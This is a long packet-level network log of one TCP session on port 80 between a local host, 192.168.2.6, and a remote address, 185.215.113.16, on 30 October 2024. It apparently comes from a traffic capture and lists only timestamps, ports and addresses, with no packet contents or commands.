Oct 30, 2024 05:24:27.907032967 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.907035112 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.907062054 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.907073021 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.907099009 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.907109976 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.907120943 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.907150984 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.907282114 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.907294989 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.907305956 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.907331944 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.907345057 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.907448053 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.907474041 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.907489061 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.907505989 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.907512903 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.907526970 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.907536983 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.907547951 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.907553911 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.907565117 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.907571077 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.907586098 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.907608986 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.907634974 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.907645941 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.907671928 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.907679081 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.907687902 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.907704115 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.907711029 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.907725096 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.907742977 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.907804966 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.907896042 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.908222914 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.908233881 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.908242941 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.908255100 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.908262014 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.908288002 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.908314943 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.908329010 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.908346891 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.908355951 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.908375025 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.908381939 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.908392906 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.908406019 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.908422947 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.908426046 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.908436060 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.908454895 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.908463001 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.908477068 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.908483982 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.908498049 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.908504009 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.908514023 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.908531904 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.908550978 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.908554077 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.908561945 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.908574104 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.908593893 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.908607006 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.908612967 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.908638000 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.908648014 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.908658981 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.908668995 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.908684969 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.908706903 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.908715963 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.908736944 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.908747911 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.908754110 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.908768892 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.908776045 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.908799887 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.908809900 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.908859015 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.908899069 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.908917904 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.908927917 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.908955097 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.908962965 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.908982038 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.908993006 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.909023046 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.909041882 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.909060001 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.909070969 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.909075975 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.909110069 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.909120083 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.909127951 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.909138918 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.909156084 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.909169912 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.909179926 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.909204960 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.909210920 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.909236908 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.909244061 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.909255028 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.909274101 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.909296989 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.909311056 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.909317017 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.909326077 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.909338951 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.909346104 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.909363985 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.918579102 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.949420929 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.949431896 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.949450016 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.949470997 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.949480057 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.949490070 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.949510098 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.949516058 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.949531078 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.949580908 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.949589014 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.949606895 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.949620008 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.949625015 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.949637890 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.949645996 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.949659109 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.949675083 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.949754000 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.949800968 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.949824095 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.949834108 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.949860096 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.949867010 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.949878931 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.949913025 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.949917078 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.949924946 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.949940920 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.949949980 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.949959993 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.949980974 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.949990034 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.950001955 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.950011969 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.950047970 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.950077057 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.950084925 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.950104952 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.950113058 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.950129986 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.950139999 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.950153112 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.950153112 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.950189114 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.956685066 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.980346918 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.980407000 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.980421066 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.980442047 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.980453014 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.980458021 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.980509043 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.994152069 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.994175911 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.994220972 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.024564028 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.024574995 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.024593115 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.024619102 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.024633884 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.024645090 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.024662971 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.024672985 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.024703026 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.024772882 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.024781942 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.024796009 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.024832010 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.024837017 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.024847031 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.024871111 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.025005102 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.025019884 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.025036097 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.025042057 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.025058985 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.025068045 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.025077105 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.025094986 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.025100946 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.025110006 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.025125980 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.025142908 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.025156021 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.025161982 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.025177956 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.025187016 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.025218010 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.025229931 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.025242090 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.025373936 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.025386095 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.025399923 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.025407076 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.025434017 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.025692940 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.025702953 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.025727034 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.025733948 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.025744915 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.025759935 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.025765896 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.025778055 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.025789022 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.025803089 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.025824070 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.025835991 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.025841951 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.025852919 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.025883913 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.025899887 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.025913954 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.025928974 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.025935888 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.025944948 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.025969028 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.025979996 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.025989056 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.026007891 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.026019096 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.026029110 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.026034117 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.026057959 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.026065111 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.026073933 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.026078939 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.026087999 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.026098967 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.026108980 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.026143074 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.026149035 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.026248932 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.026293039 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.026305914 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.026316881 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.026355982 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.026375055 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.026387930 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.026406050 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.026413918 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.026422977 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.026439905 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.026446104 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.026456118 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.026463985 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.026484966 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.026496887 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.026510000 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.026525021 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.026531935 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.026541948 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.026557922 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.026576042 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.026582003 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.026592970 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.026598930 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.026609898 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.026623011 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.026628017 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.026664019 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.026680946 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.026792049 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.026803017 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.026824951 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.026830912 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.026873112 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.026880026 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.026889086 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.026906967 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.026918888 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.026959896 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.026973963 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.026985884 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.027007103 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.027031898 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.027204990 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.027245998 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.027261972 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.027286053 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.027292967 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.027304888 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.027319908 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.027326107 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.027585983 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.027595997 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.027620077 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.027626991 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.027640104 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.027647018 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.027659893 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.027668953 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.027674913 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.027686119 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.027695894 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.027704954 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.027718067 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.027734995 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.027741909 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.027765036 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.027781010 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.027789116 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.027820110 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.027826071 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.027834892 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.027852058 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.027862072 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.027870893 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.027883053 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.027913094 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.027991056 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.028000116 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.028023958 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.028031111 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.028042078 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.028059959 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.028065920 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.028085947 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.028093100 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.028103113 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.028121948 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.028130054 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.028141022 CET	49760	80	192.168.2.6	185.215.113.16
